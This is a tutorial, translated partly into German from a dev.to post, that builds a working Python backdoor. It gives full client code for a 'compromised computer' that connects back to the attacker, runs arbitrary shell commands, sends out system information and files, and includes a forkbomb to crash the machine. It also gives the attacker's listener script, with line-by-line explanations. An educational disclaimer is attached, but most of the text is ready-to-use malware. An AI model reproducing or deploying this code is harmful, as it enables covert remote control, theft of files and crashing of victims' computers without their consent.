Backdoor
Einleitung
Übersetzt aus dem englischen
Original Artikel ist hier
https://dev.to/tman540/simple-remote-backdoor-with-python-33a0
Einfacher Remote Backdoor mit Python
Hinweis: Bevor Sie mit dem Lesen dieses Tutorials beginnen: VERWENDEN SIE DIESEN CODE NICHT FÜR BÖSARTIGE ZWECKE. DIESES TUTORIAL IST NUR FÜR BILDUNGSZWECKE!
Teil 1
Was ist ein Backdoor?
Laut Wikipedia:
Eine Hintertür ist ein oft geheimes Verfahren zum Umgehen der normalen Authentifizierung oder Verschlüsselung in einem Computersystem, einem Produkt oder einem eingebetteten Gerät (z. B. einem Heimrouter) oder seiner Ausführungsform
Einfacher ausgedrückt ist eine Hintertür eine Software, die auf einem Computer installiert ist und jemandem Fernzugriff auf einen Computer ermöglicht, normalerweise ohne entsprechende Erlaubnis. Beispielsweise kann ein Hacker eine Hintertür verwenden, um den Remotezugriff auf einen gefährdeten Computer aufrechtzuerhalten. Ein Hacker könnte eine Hintertür in einem scheinbar normal aussehenden Spiel oder Programm verkleiden. Sobald der Benutzer des Zielcomputers das Programm ausführt, kann der Hacker über die in der Software versteckte Hintertür eine Remoteverbindung zum Zielcomputer herstellen, normalerweise über eine Befehlszeile. Über diese Remoteverbindung kann der Hacker Befehle ausführen, Dateien bearbeiten und lesen und vieles mehr.
Teil 2
So erstellen Sie eine benutzerdefinierte Backdor (Client)
Dieser Backdoor wird aus zwei kurzen Skripten bestehen. Das erste Skript, das wir erstellen werden, ist das Client-Skript. Dies ist das Skript, das auf den gefährdeten Computer hochgeladen wird.
import socket
import subprocess
import os
import platform
import getpass
import colorama
from colorama import Fore, Style
from time import sleep
colorama.init()
RHOST = "127.0.0.1"
RPORT = 2222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))
while True:
try:
header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
sock.send(header.encode())
STDOUT, STDERR = None, None
cmd = sock.recv(1024).decode("utf-8")
# List files in the dir
if cmd == "list":
sock.send(str(os.listdir(".")).encode())
# Forkbomb
if cmd == "forkbomb":
while True:
os.fork()
# Change directory
elif cmd.split(" ")[0] == "cd":
os.chdir(cmd.split(" ")[1])
sock.send("Changed directory to {}".format(os.getcwd()).encode())
# Get system info
elif cmd == "sysinfo":
sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
"""
sock.send(sysinfo.encode())
# Download files
elif cmd.split(" ")[0] == "download":
with open(cmd.split(" ")[1], "rb") as f:
file_data = f.read(1024)
while file_data:
print("Sending", file_data)
sock.send(file_data)
file_data = f.read(1024)
sleep(2)
sock.send(b"DONE")
print("Finished sending data")
# Terminate the connection
elif cmd == "exit":
sock.send(b"exit")
break
# Run any other command
else:
comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
if not STDOUT:
sock.send(STDERR)
else:
sock.send(STDOUT)
# If the connection terminates
if not cmd:
print("Connection dropped")
break
except Exception as e:
sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
Explanation
colorama.init() RHOST = "127.0.0.1" RPORT = 2222
Diese ersten Zeilen dienen zum Initialisieren einiger Starterwerte. colorama.init () muss für colorama (Farbtext im Terminal) aufgerufen werden. Die Variablen RHOST und RPORT dienen zum Herstellen einer Verbindung mit dem Hostcomputer. Diese Variablen müssen vor dem Hochladen auf den Zielcomputer geändert werden.
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((RHOST, RPORT))
Diese nächsten Zeilen sind Standardverfahren für die Verbindung mit einer IPV4-Adresse über einen TCP-Port.
while True:
try:
header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
sock.send(header.encode())
STDOUT, STDERR = None, None
cmd = sock.recv(1024).decode("utf-8")
Der gesamte Code zum Empfangen von Befehlen, zum Ausführen von Befehlen und zum Senden von Daten wird in eine while-Schleife eingeschlossen, sodass er für immer weitergeht. Das Try-Except ist also, wenn Befehle nicht ordnungsgemäß ausgeführt werden, wird das Programm fortgesetzt, anstatt die Verbindung zu trennen. Die Header-Variable definiert das Präfix, bevor ein Befehl gebunden wird. Beispiel: hacked @ linux-machine: / usr / hacked / Desktop $ In der nächsten Zeile wird der Header an den Server gesendet, sodass der Benutzer weiß, in welchem Verzeichnis er sich befindet und bei welchem Benutzer er angemeldet ist. STDOUT und STDERR müssen auf None gesetzt werden, damit Befehle nicht doppelt ausgeführt werden, wenn der Server leere Daten sendet. Die letzte Zeile empfängt den Befehl vom Server zur Ausführung.
- Commands:
- List files
if cmd == "list":
sock.send(str(os.listdir(".")).encode())
Dieser Befehl wird anstelle von ls verwendet, da ls manchmal inkonsistent ist
- Forkbomb
if cmd == "forkbomb":
while True:
os.fork()
Eine Forkbombe ist ein Angriff, wenn sich ein Prozess immer wieder selbst repliziert und alle Systemressourcen verbraucht werden, was normalerweise zum Absturz des Systems führt. Die while-Schleife dupliziert den Python-Prozess unendlich und führt zum Absturz des Computers.
- cd
elif cmd.split(" ")[0] == "cd":
os.chdir(cmd.split(" ")[1])
sock.send("Changed directory to {}".format(os.getcwd()).encode())
Dieser Befehl funktioniert besser als die in integrierte CD. Dies liegt daran, dass beim Ändern des Verzeichnisses das Python-Arbeitsverzeichnis nicht betroffen ist. Dieser Befehl verwendet os.chdir (), um das Arbeitsverzeichnis in Python und Linux zu ändern. Durch Aufteilen des Befehls kann das Argument (in diesem Fall das Verzeichnis, in das geändert werden soll) separat verarbeitet werden
- sysinfo
elif cmd == "sysinfo":
sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
"""
sock.send(sysinfo.encode())
Der Befehl sysinfo verwendet eine Kombination aus dem Plattformmodul und dem getpass-Modul, um Informationen über das System abzurufen, z. B.: Das Betriebssystem, den Hostnamen des Computers, den aktuellen Benutzer, die aktuelle Betriebssystemversion und die Prozessorarchitektur. Dieser Text ist schön formatiert und wird an den Host-Server gesendet.
- Download
elif cmd.split(" ")[0] == "download":
with open(cmd.split(" ")[1], "rb") as f:
file_data = f.read(1024)
while file_data:
print("Sending", file_data)
sock.send(file_data)
file_data = f.read(1024)
sleep(2)
sock.send(b"DONE")
print("Finished sending data")
Der Download-Befehl ist etwas komplizierter. Der Befehl wird erneut aufgeteilt, um das Argument zu extrahieren. Anstatt die Daten aus der Datei auf einmal zu senden, muss die Datei dieses Mal in 1024 Byte (1 KB) aufgeteilt werden, da der Server jeweils nur 1 Kilobyte empfangen kann. Sobald das Senden der Datei abgeschlossen ist, sendet der Client "FERTIG" (in Byte) an den Server, um den Server darüber zu informieren, dass die Dateiübertragung abgeschlossen ist.
- Exit
elif cmd == "exit":
sock.send(b"exit")
break
Beim Aufruf von exit wird der Text "exit" (in Bytes) an den Server gesendet. Dadurch wird der Server benachrichtigt, die Verbindung zu beenden. Break verlässt die while True-Schleife und beendet das Programm.
- Any other command
else:
comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
if not STDOUT:
sock.send(STDERR)
else:
sock.send(STDOUT)
Wenn der eingegebene Befehl kein bekannter interner Befehl ist, wird er stattdessen über das System ausgeführt. Das Unterprozessmodul wird verwendet, um den Befehl über die Systemshell auszuführen. Die Ausgabe wird an zwei Variablen zurückgegeben, STDOUT und STDERR. STDOUT ist die Standardsystemausgabe. STDERR ist die Standardfehlerausgabe. Die nächste if-Anweisung prüft, ob die Ausgabe an STDOUT oder STDERR ging. Es sendet die entsprechenden Daten, sobald es überprüft wurde.
if not cmd:
print("Connection dropped")
break
except Exception as e:
sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
Wenn kein Befehl empfangen wird, kann das Programm davon ausgehen, dass ein Fehler in der Verbindung aufgetreten ist, und die Schleife beenden. Da der gesamte Code in eine Try-Except-Funktion eingeschlossen ist, sendet das Programm die Ausnahme an den Server. Sobald die Schleife endet, wird die Buchse geschlossen.
Part 3
How to Build a Custom Backdoor (Server)
The second script is the server script. This script gets executed on the attacker's machine. This is the script that the clients will connect to, send a shell too, and the attacker will send commands through.
- Script
import socket
import colorama
colorama.init()
LHOST = "127.0.0.1"
LPORT = 2222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()
while True:
input_header = client.recv(1024)
command = input(input_header.decode()).encode()
if command.decode("utf-8").split(" ")[0] == "download":
file_name = command.decode("utf-8").split(" ")[1][::-1]
client.send(command)
with open(file_name, "wb") as f:
read_data = client.recv(1024)
while read_data:
f.write(read_data)
read_data = client.recv(1024)
if read_data == b"DONE":
break
if command is b"":
print("Please enter a command")
else:
client.send(command)
data = client.recv(1024).decode("utf-8")
if data == "exit":
print("Terminating connection", addr[0])
break
print(data)
client.close()
sock.close()
Explanation
colorama.init()
LHOST = "127.0.0.1" LPORT = 2222 These first few lines are for initialization. The LHOST is the IP which the server will be hosted on. The LPORT is the port where the server will be hosted. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((LHOST, LPORT)) sock.listen(1) print("Listening on port", LPORT) client, addr = sock.accept() Lines 9-13 are for initializing the server. Once again, socket.AF_INET is to start a server on an IPV4 address and socket.SOCK_STREAM is to run the server on a TCP port. sock.bind((LHOST, LPORT)) starts a server on the given IP and port. sock.listen(1) tells the program to only accept one incoming connection. The client is an object that allows the program to interact with the connected client, for example, send data. The addr is a tuple that contains the IP and port of the connected client. while True:
input_header = client.recv(1024) command = input(input_header.decode()).encode()
Just like the client, the entire code is wrapped in a while True: loop so that the commands can constantly send and executed, until the loop breaks. The input_header is the text before the input. Example: hacked@linux-machine:/usr/hacked/Desktop$. This data is received from the client and is entered as an argument to the input function. The user is asked to enter a command, it is encoded into bytes and saved into the command variable.
if command.decode("utf-8").split(" ")[0] == "download":
file_name = command.decode("utf-8").split(" ")[1][::-1]
client.send(command)
with open(file_name, "wb") as f:
read_data = client.recv(1024)
while read_data:
f.write(read_data)
read_data = client.recv(1024)
if read_data == b"DONE":
break
print("Finished reading data")
There is only one pre-defined command built into the server; download. When download is executed, it opens a new file with the name of the file to be downloaded. Next, the function reads 1KB at a time and writes that data to the file. If the server receives the data "DONE" (in bytes), the loop for receiving data stops.
if command is b"":
print("Please enter a command")
If no command is entered, the user is reminded that data must be entered.
else:
client.send(command)
data = client.recv(1024).decode("utf-8")
if data == "exit":
print("Terminating connection", addr[0])
break
print(data)
If none of the other conditions are met, the script sends the command to the client to be executed. The data variable receives the output from the command (sent by the client). If the data that is received is "exit", the server terminates the connection and breaks the loop, which exits the script. Once the loop breaks, the connection to the client and the server socket is closed.
Part 4: Conclusion Remember, entering any computer without permission is illegal. This script was made because I am interested in how these types of technologies work. Do not use this program for any illegal reasons. This program is also a very simple backdoor and is not 100% stable or complete.
Sources: Cover image: The Daily Dot
Backdoor definition: Wikipedia